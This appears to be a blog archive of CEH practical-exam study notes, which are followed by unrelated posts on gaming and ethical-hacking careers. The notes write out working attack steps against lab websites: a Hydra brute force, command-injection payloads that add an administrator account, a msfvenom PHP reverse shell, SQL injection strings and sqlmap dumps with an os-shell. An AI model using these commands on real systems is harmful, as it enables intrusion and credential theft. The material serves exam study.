2. Footprinting a Web Server Using the httprecon Tool

--- It is performs banner grabbing atttacks , status code enumeration and header ordering analysis on web server

Tool : httprecon (windows)

---> Install the application

---> Target section choose http:// [address of the URL]:8080/ceh and click the Analyze the website

---> We analyze the result for example we found apche version 2.4.7 so attacker take advantage of vulnerability

3. Footprinting a Web Server Using ID Serve

--- Use the ID serve tool

--- Get a webserver footprint

Tool : ID Serve (windows)

---> Install the ID Serve application

---> Click the Server Query and enter URL you want to footprint then click the Query the server to start recon website

---> We have obtaining the information

4. Cracking FTP Credentials Using Dictionary Attack

--- Perform nmap scan to find whether ftp port is open

--- Perform a dictionary attack using hydra

Tool : Nmap and Hydra (Linux)

---> Open a linux terminal to perform nmap scan
# nmap -p 21 [ip address] --- check port 21 is open or not

---> If FTP port is open then type
# ftp [ip address of host]

---> In new terminal
# hydra -L path of Usernames.txt -P path of Password.txt ftp://[ip address]

---> Login with FTP server with getting a credentials we can create directory and files

5. Uniscan Web Server Fingerprinting in Kali Linux

Tool : uniscan

# uniscan -h
# uniscan -u http://ip address/ceh -q --- Scan for directories
# uniscan -u http://ip address/ceh -we --- robots.txt and sitemap.xml use with -w -e
# uniscan -u http://ip address/ceh -d -- for dynamic testing /scan

Hacking Web Applications

2022-09-17T16:54:00.002+05:30

--- Hacking web application by manipulating the application logics via web interface

--- Hakcing web application via SQL injection attack , cross site scripting (XSS) , cross site request foregeries (CSRF) and insecure commnication and others

--- Web application vulnerabilities and attack such as

   1. Parameter tempering
   2. Cross Site Scripting (XSS)
   3. Stored XSS
   4. Username and Password Enumeration
   5. Exploiting Wordpress Plugin Vulnerability
   6. Exploiting Remote Command Execution Vulnerability
   7. Web Application Auditing Framework
   8. Website Vulnerability Scanning

1. Exploiting Parameter Tampering and XSS Vulnerabilities in Web Applications

--- Perform parameter tempering and XSS attack and malicious task

--- Tempering attack is attack to airmed permission , price and quantity of product

--- Performing parameter tempering and Cross Site Scripting (XSS or CSS)

---> Open a chrome and type movie website or any website we are test

---> We are login in website as a user and we logged in website and view the profile

---> We are redirected the profile page and we can see in URL there ID parameter is ID=2

---> Let's try to change ID parameter id=3 and enter we found another user profile

---> We change the ID value and getting different user profile it is called parameter tampering

---> Xss attack allows to attacker inject client side scripts

---> Click Contacts tab redirect you to Contact us page here you will performing XSS attack

---> Here we are a form in Comment feild inject script <script>alert("This is XSS attack")</script>

---> If we open the website in another browser or operating system then also execute script we inject in application

2. Enumerating and Hacking a Web Application Using WPScan and Metasploit

--- The maximum website buid in Wordpress and also enumerate the usernames

--- Crack the password by perfoming dictionary attack using msf auxiliary module

--- We are enumerating the users and dictionary attack using metasploit

Tool : Wpscan (Linux)

---> In terminal type
# wpscan --url [url or ip address]:8080/ceh --enumerate u

---> In new terminal launch msfconsole and search auxiliary wordpress_login_enum and perform dictionary attack using Password.txt in wordlist folder
# msfconsole > search auxiliary wordpress_login_enum
# use auxiliary/scanner/http/wordpress_login_enum
# show options -- PASS_FILE -- Set up password.txt file give a path , RHOSTS --8080 , ip address of target machine , RPORT -- 4444 , TARGETURI -- Enter wordpress website url , USERNAME -- Give the username
# exploit

---> When attack is completed we getiing password to the user and go to browser and open a website admin login panel

---> Login in website with we found credential as you can login in unauthentically

3. Exploiting Remote Command Execution Vulnerability to compromise a Target Web Server

--- Extract information of target machine , create user account , use account to log in target machine

--- Explointing command line execution vulnerabilities

---> Open any browser and open website to test

---> If command injection vulnerability exsist in web application we enter some payloads to getting intresting information

Payload : ping [ip or device] --- checking host is live or not
        | hostname -- it is show hostname of target machine
        | whoami -- extract more information about target
        | tasklist -- all process running on target machine
        | dir C:\ -- view the files and directories in C:\
        | net user -- obtain information related to user accounts
        | net user Mitesh /Add -- it will create user account name Mitesh
        | net localgroup Admistrators Mitesh /Add --- It give admistrative privileges to Mitesh account and give admin privileges

---> Start Remote Desktop Connection Application on windows and set IP address of target machine

---> In username Mitesh is add and password feild blank and click OK. In this way we creating remote connection using command injection

4. Exploiting File Upload Vulnerability

--- File upload vulnerability and take a advantage and make remote code with msfconsole

---> We create payload for uploading to getting reverse shell we use msfvenom and meterpreter
# msfvenom -p php/meterpreter/reverse_tcp lhost=[attacker ip address] lport=4444 -f raw

---> Select the payload generated in php format and open Leafpad or notepad and paste the payload and save the with .php format (payload.php)

---> Open a browser and go to that website there is file upload vulnerability

---> If website allow only specific type of format so our save is .JPEG or .PNG format

---> Open msfconsole
# use multi/handler
# set payload php/meterpreter/reverse_tcp
# set lhost [attacker ip address]
# set lport 4444
# exploit

---> Copy the path where we uploaded payload or file and enter in url

---> We get meterpreter section and we get information we want

--- Performing Cross Site Request Forgery (CSRF) Attack

--- CSRF allow an attacker to for unsuspecting user's browser to send malicious request

--- It modify and retrive account information and perform CSRF attack

--- In CSRF user click into malicious link containing arbitrary code when user click on the link it execute arbitrary code on trusted server

---> Open a website we perform the csrf attack in chrome or firefox

---> Open the terminal and type
# wpscan -u [url]:8080 --enumerate vp

---> Type the followiing code in notepad

    <form method="post"
      action="url infected in csrf" >
              <script>alert("Enable a security") </script>
   <input type="hidden" name="whitelisted_ip[]"
       value="ip address of target">
             <input type="hidden" name="set_whitelist_ip"
       Value="Set Whitelisted IPs" class="button-secondary">
       <input type="submit">
       </form>

----> Save the file as .html (security.html)

SQL Injection

2022-09-17T16:50:00.000+05:30

--- It is basic attack gain unauthorized access to a database or retrive information directly from the database.

--- It is flaw or defect of web application not a database or server issue

--- Understanding when and how web application connects to a database server in order to access data

--- Extracting basic SQL Injection flaws and vulnerabilities

--- Testing web application for Blind SQL Injection vulnerabilities

--- Scanning web servers and analyzing the reports

--- Securing information in web application and web servers

1. SQL Injection Attacks on MS SQL Database

-- Log on Without valid credentials
-- Test for SQL Injection
-- Create your own database
-- Directory lisiting
-- Enforce Denial of Service attacks

---> Open any browser in windows and go to shopping website and go to login

---> We try to login unauthorized user by query and click to login
username = "or""="
password = "or""="

---> Making user without use register option type following query in username feild
blah';insert into login values('mitesh','mitesh123'); --

---> To perform Denial of Service attack type the following query in username feild
blah';exec master..xp_cmdshell'ping [moviewebsite] -l 65000 -t'; --

2. Performing SQL Injection attack against MSSQL to extract Databases and WebShell using SQLMAP

--- Extract the MSSQL Database using SQLMAP

Tool : SQLMAP

---> Log in the application and note down the URL in the address bar

---> Copy the cookie with inspect element in console and search below document.cookie

---> Open a terminal and type a command
# sqlmap -u "URL of the website" --cookie="paste the cookie we have copy" --dbs --- This query enumerate the database information [Y Y N]

---> We found a database now find a tables in database
# sqlmap -u "URL of the website" --cookie="paste the cookie we have copy" -D [database name] --tables

---> Intresting table found then find out columns
# sqlmap -u "URL of the website" --cookie="paste the cookie we have copy" -D [database name] -T [table name] --columns

---> Now we are dump all the table content
# sqlmap -u "URL of the website" --cookie="paste the cookie we have copy" -D [database name] -T [table name] --dump

---> We have getting a Username and Password

---> Gain the access of OS Shell machine
# sqlmap -u "URL of the website" --cookie="paste the cookie we have copy" -- os-shell (Y)

Cryptography

2022-09-17T16:46:00.001+05:30

--- In this we use encryption and decryption techniques

--- Generate Hashes and checksum files

--- Encryption technique use both side for transmission the data and storing the data

1. Calculating Hashes in HashCalc

--- One way hash function information contained small or large file into single fixed length number typically between 128 and 256 bits in length

---> Use HashCalc to monitor your file integrity

Tool : HashCalc (windows)

---> Install a HashCalc application and open

---> Select a String and which hashes we have calculated it is select it and click on calculated

---> It is give hashes in different hashing format

2. Calculating MD5 Hashes Using MD5 Calculator

--- MD2 , MD4 and MD5 are used in digital signature application compress document securely with private key

--- The algorithm can be variable length but resulting message is always 128 bits

--- Calculate MD5 value of selected file

Note : Istead of MD5 calculator we use MD5 calculator online website

---> Install MD5 calculator and open it

---> In this give a input file and calculate and when we send file to another person then he compare file hashes and if file hashes not change
he determine and consider file is not modified

3. Encryption and Decryption Data Using BCTextEncoder

Tool : BCTextEncoder

--- BCTextEncoder simplifies encoding and decoding text data

--- Use Encode / decode text data encrypted with password

---> Install BCTextEncoder application and open it

---> For Encrypting text type a text and click encode we are see encoded text in below tab

---> We also set a password with choosing near Encode tab and give a password

---> For decoding clear text and click on decode and enter password you get the text

4. Creating and Using Self Signed Certificate

--- In self signed certificate creates a pair of public and private keys using certificate creation tool

--- Signs the document with public key

--- Reciver request to the sender for private key to verify the certificate

--- We creating self signed certificate

---> In shopping website there are certificate

5. Disk Encryption Using Veracrypt

--- It can create virtual encrypted disk within a file or encrypt a partition or entire storage device

--- It is preventing illegal access to data storage

Tool : Veracrypt

---> Install a veracrypt software and veracrypt volume creation window is open

---> In next Create an encrypted file container and click next

---> Give a file name and specify the path and provide file and save it

---> Choose encryption method which is AES and SHA-512 Hash Algorithm and click next

---> Give a Volume Size as 10 MB and then asking for the password give a password and click the next

---> Move the mouse on wizard and Succesfully volume are created Now select the volume (M:)

---> When we click on mount they ask for password and mount it

---> Now move the data in created volume and go to the veracrypt dismount it then volume not appear and our data is secure

---> No one can access our data whenever we mount the volume we can access the data

6. Data Encryption Using CrypTool

--- Use encryption decryption Command

--- Visualize several algorithms

--- Calculate hash values and analysis

Tool : CrypTool (windows)

---> Install a cryptool and click on File it's open a notepad and write which is encoded

---> Select Encrypt/Decrypt ---> Symmetric (modern) ---> RC2 and select key length 8 bits as you wish and click encrypt

---> For decrypting select that file and go above Decrypt ---> Symmetric (modern) ---> RC2 and decrypt it

Introduction to CEH Exam

2022-09-10T18:10:00.003+05:30

CEH PRACTICAL EXAM

TOPICS

1. Enumeration - finding the IP and Users.

2. Footprinting - Banner grabbing.

3. Steganography - Hinding information under images or files.

4. Packet Sniffing - Wireshark identify ddos attack and more.

5. Web Application Attack - SQL attack , XSS,etc.

6. Cryptography Attacks - Encoded information to decode it.

7. Remote code Execution - Using Metasploit create a reverse shell 8. Password Cracking - hydra , rainbow crack , John the ripper

TOOLS

1. Netdiscover - for scanning the network
2. NMAP - for finding the vulnerability and version
3. Hydra - For cracking the password
4. John the Ripper - Hash break
5. Sqlmap - Sql injection
6. Quick Stego - for steganography attack
7. WpScan - wordpress scan
8. Rainbow crack
9. Wireshark
10. Micrsoft RDP
11. Hashcalc.
12. veracrypt
13. Searchspolit / MetaSploit

Vulnerability :

XSS / IDOR / Host Header Injection / SQL Injection

Tools

    1.Nmap
    2.Hydra
    3.Sqlmap
    4.Wpscan
    5.John the ripper
    6.Hashcat
    7.Metasploit
    8.Wireshark
    9.steghide
    10.OpenStego
    11.QuickStego
    12.Dirb
    13.Searchsploit
    14.Veracrypt
    15.Hashcalc
    16.Rainbow Crack

Windows Topic : Steganogrphy , Cryptography , Wireshark (Learn wireshark filter save time)

Linux Topic : Network Scanning , SQL , Hash Craking , Password brute forcing and dvwa

Focuses on following Tools :

1. Nmap (Important)
2. Directory brute forcing tool (dirb, gobuster)
3. Password brute forcing tool (Hydra)
4. Sqlmap (Important tool)
5. Wpscan (Important tool)
6. JOhn the ripper / hashcat
7. Wireshark (Very Important)
8. Veracrypt and Steghide

Tools used according to OS :

Parrot Box                                   Windows Box

1. netdiscover                            1. Wireshark
2. NMAP                              2. Hashcalc
3. Hydra                                      3. veracrypt
4. John the Ripper                       4. BCTextEccoder
5. Wpscan                                   5. Cryptool
6. Sqlmap                                  6. Snow
7. ADB                                  7. OpenStego

Exam Quetions :

Q. How Many Machines are active ?

---> Use netdiscover

Q. Which Machine has FTP Server Open ?

---> Use nmap if port no. 22 open the ip will be enter

Q. Find 2 secret files using FTP ?

---> brute force FTP Usernames

Q. Find out phone number of web application user ?

---> Use Sqlmap in database the phone number will find

Q. Brute Force Wordpress Website User's Password ?

---> Use Wpscan

Q. Decode .hex file ?

---> Use Cryptool

Q. Which Machine started Dos attack ? DDOS attack happened on which IP? Find out http Credentials
from PCAP file ?

---> Use Wireshark to check PCAP file. analayze the packet in wireshark

Q. Decode the give text using given secret ?

---> Use BCTextEncoder

Q. Calculate SHA1 hash of a text ?

---> use Hashcalc. generate the hash value to find answer.

Q. Decrypt the hidden Volume and find secret file ?

---> Use Veracrypt whenever realted to volume use veracrypt

Q. Crack the given hash ?

---> go to personal computer browser and use hashes.com copy the hash and find solution.

Q. Find Secret hidden in the Image/File ?

---> Use OpenStego / Snow

Q. Find a Secret file in Android ?

---> Use ADB Android debuggine bridge give a file structure of android and finding files.

Q. Send data to another Machine (firewall blocked) ?

---> Use Covert TCP

Q. Find a device that running the ip address and then finding the username password of ftp server and login then finding a secret file and that read a content then decoded and submit the answer ?

---> 1. Scanning the all devices using Nmap and we found open port on device that is our ftp server device
   2. Note down the ip address and then brute force the ftp server username and password using hydra and wordlist are given
   3. After the getting username password login to ftp server using the command
      -- # ftp [ip address of ftp server machine]
      4. finding a secret file and decoded it in hashcat
      5. Finally submit the answer and found out the solution.

_______________________________________________________________________________________________________

Gamimg Career in India | Play Games Online | Eligibility | Scope | Salary

2020-05-07T09:05:00.001+05:30

How to make Gaming Career in india ?

There will be the best option to make career 2020 will be a great gaming career in India. Gaming companies are now investing in India. After games like PUBG craze for gaming has intensified in India.May tell you how to make Gaming Career in india.

Eligibility to make Career in Gaming :-

You Pass out 10th or 10+2 (12th). An aspirant does not require a degree or diploma to become a game designer as numerous employers give more preference to experience and game knowledge. For becoming a game designer a candidate must have a certain completing relevant courses
as follows :-

1. B.Sc in Graphics

2. Animation & Gaming

3. B. Tech in Computer Science and Game Development

4. BA in Digital Filmmaking & Animation

5. M.Sc in Multimedia and Animation

6. M.Sc in Game Design and Development

7. Advanced Diploma in Game Art & 3D Game Content Creation

8. Advanced Diploma in Game Design and Development Application

9. Certificate in Game Art & Design

Enlisted below are the minimum eligibility conditions required to become a game designer.

Competitive Gamer :-

Competitive Gamer Is those Gamer Is compit Online Games like PUBG, DOTA, CS-GO, NBA-2k. So Many Popular Games They Paid in Millions. There are Best Career Opportunity to build Carrer in Gaming. There are a lot of such gaming tournaments in India today and you can win millions by participating in them. But for this you have to practice a lot, you have to play a lot of games. You have a lot of scope in this career option, You should definitely do it.

This are the top Indian Gamers

1. GAREEBOOO
2. DYNAMO GAMING
3. KRONTEN GAMING
4. ALPHA CLASHER

• GAMING Content Creator :-

In Beginner Level of Gamer they should start Content Creation in Gaming. Content Creation is the Best option in Gaming. Go in Youtube and Start Gaming Channel and put the Gaming Videos. You can make money from it and become a content creator. If you want to learn content creation, you can go to YouTube and learn.

Probably the most impactful social media channel for game marketing, YouTube gives you the chance to show off your game, share new updates, give gamers tips or guides and so much more.

Before you become an influencer, you’ll need to find your spot in the gaming world. The first step towards this is finding a focus within this massive industry that has a substantial audience. To do this, think about what it is that you like to do and how you can realistically garner an audience doing this. To help you solidify some ideas, consider other famous gamers and what they’re doing. You don’t have to replicate what they’re doing but take notes on what you have in common with them in terms of what you want your focus to be and where your expertise lie.

No two gaming influencers will be exactly the same, so don’t worry if your plans are a bit different than everything already out there. In fact, this is a plus because you fit within in a niche but with your own style. For some gamers, their brand is all about just playing and connecting with their followers, for others, their channels include more lifestyle aspects. Find a mix that works for you and your audience and capitalize on it.

• Game Developer

Becoming A developer You are Good Knowledge Coding. The following Degree are Become Game Developer in Gaming Career :-

1. Engineering in Computer Science
2. Bsc Computer Science
3. Bsc Information Technology
4. Bachelor of Computer Application

You Required Coding Skills to Becoming Game Developer . You learn programming like C, C++, Python there are So Many Programming Languages. You Spend time in Coding. You have to work hard and so many Patience you required because there will be becoming small gaming Error.

Gamers aren’t expecting a game to be perfect, they understand that game bugs are a fact of life, just like typos in texts. Gamers really only get frustrated when the bugs go unaddressed by the only people that can do something about them. So let your gaming community know that they have been heard and that you’re working on fixing those bugs, or better yet, that a patch is planned to come out on a specified date to resolve the issues. Trust me, your community will be thankful to know. Otherwise, if they think those bugs aren’t going to be fixed anytime soon, they’ll likely just move on to one of the other 9,050 games released that year.

• Game Designer

The game developer is the body while the game designer is its soul. They both depend on each other. Can create a lot of such games. You can do some courses as follows :-

1. B.Sc in Graphics

2. Animation & Gaming

3. B. Tech in Computer Science and Game Development

4. BA in Digital Filmmaking & Animation

5. M.Sc in Multimedia and Animation

6. M.Sc in Game Design and Development

7. Advanced Diploma in Game Art & 3D Game Content Creation

8. Advanced Diploma in Game Design and Development Application

Certificate in Game Art & Design

Game designers are the developers and designers of specialized software. They visualise, plan and design the computer and video games. Game designers work with a team of professionals that helps in managing budget, project timelines and work schedules. The duty of game designers is designing levels, puzzles, characters, storylines, animation and art. They also use computer programming languages to write codes.

Game designing includes designing the structure for the game, its setting and its layout. A game designer has to design easily maintainable, comfortable, expandable systems and has to regularly bring innovative game designing ideas to the plate. With the globalising and ever-evolving world, games have come across a variety of formats and platforms like PC, console, mobile, virtual and augmented reality. Such developments in the gaming industry demand for a game designer with a broad range of creative and technical skills to imagine, plan, test, develop and deliver an idea successfully.

Though the terms “video game design” and “video game development” are often used interchangeably—especially by those outside the industry—they do, in fact, mean very different things. If you’re trying to establish a career in the video game industry, it’s important for you to have a clear understanding of what these differences are.

How to Become Ethical Hacker after 12th | Scope Salary | How to become Ethical Hacker | how to become a certified ethical hacker

2020-05-05T09:22:00.000+05:30

How to become Ethical Hacker :-

You want to become a Professional Hacker So You Get Information about Ceh Certified Ethical Hacker. Which Skill you have Required. Best get ethical hacker certification,Scope of white hat hacker, Salary of certified ethical hacker

What is Hacking ?

In simple way " Hacking " is nothing but it's Secure Information from Attackers. Can you Become Certified Ethical Hacker ? If you want to know more about that, your answer is yes, so today I will tell you what skills, which course, which education you should take, how much is the salary of a hacker, I will give you all the information.

If you have passed your 12th exam and you are interested in how to become an ethical hacker, I will tell you step by step below. Follow it.

1. What education can you take to become an ethical hacker?

There are no standard education criteria for an ethical hacker, so an organization can set its own requirements for that position. Those interested in pursuing a career as an ethical hacker should consider a bachelor’s or master’s degree in information security, computer science or even mathematics as a strong foundation.

                   1. Computer Engineering
                   2. Diploma ( Computer Science )
                   3. Bachelor of Computer Application ( BCA )
                   4. Bachelor of Science CS ( Bsc.Cs )
                   5. Technical Course ( Private Institute )

2. Scope of Ethical Hacker :-

Ethical Hacker career is an information security in the military. Many organizations consider a military background a plus for information security hiring, and some organizations are required to hire individuals with security clearances.

Formerly, breaking into computer frameworks was a best pursuit for geeks, but now it has turned into a full-grown career option. Due to increasing hacking attacks on the security system of an organization, the demand of ethical hacking professionals is increasing day by day. These hackers are 4 has emerged as a big concern these days, not only in objective space but also in the cyber space.

Recently, there has been a disturbing augment in the figures of cyber crime cases on web such as hacking email accounts, thieving and interrupting crucial data, password attacks, obnoxious emails etc. This has significantly amplified the demand for ethical hackers who indeed are the saviors.

3. What skills are required to become an ethical hacker?

You must have programming skill to become a CEH Certified Ethical Hacker. You. You should learn various Programming languages skills like C, C++, Python, Php, etc.

The most Important thing is you Know the Computer Networking that is Basic things of Networking like TCP, IP address, Protocols. You should learn All Basic things of Computer to become a white hat hacker.

Other subjects including programming, scripting, networking and hardware engineering, can help those a career as ethical hackers. Other technical skills include system administration and software development.Hacking isn't all technical. It also requires soft skills, just as any other IT job does. You'll need a strong work ethic, very good problem-solving and communications skills, and the ability to say motivated and dedicated.

4. Ethical Hacker Certification :-

To become a Certified Ethical Hacker You get Become Following Certification :-

Certified Network Defender (CND)

Certified Ethical Hacker (CEH)

Certified Threat Intelligence Analyst (C|TIA)

EC Council Certified Security Analyst (ECSA)

Licensed Penetration Tester (Master)

Computer Hacking Forensic Investigator (CHFI)

Certified Chief Information Security Officer (CISCO)

5. Salary of a professional hacker :-

First you need to know how much skill you That will be your Salary. You Focused on your skills then You decided on Your own Salary. Average Salary of beginner Certified Ethical Hacker is $ 3,960.3 ( Rs 300000 /- ) But it is not fix it become large or small it depends on your Skills l.

EXPERIENCE SALARY (Rs)

1 - 4 YEARS 3.8 LAKHS

5 - 9 YEARS 7.7 LAKHS

10 - 19 YEARS 5.5 LAKH

20 YEARS & MORE 14.4 LAKHS

Information Security Manager 12 LAKHS LESS THAN 1 YEAR 3 LAKHS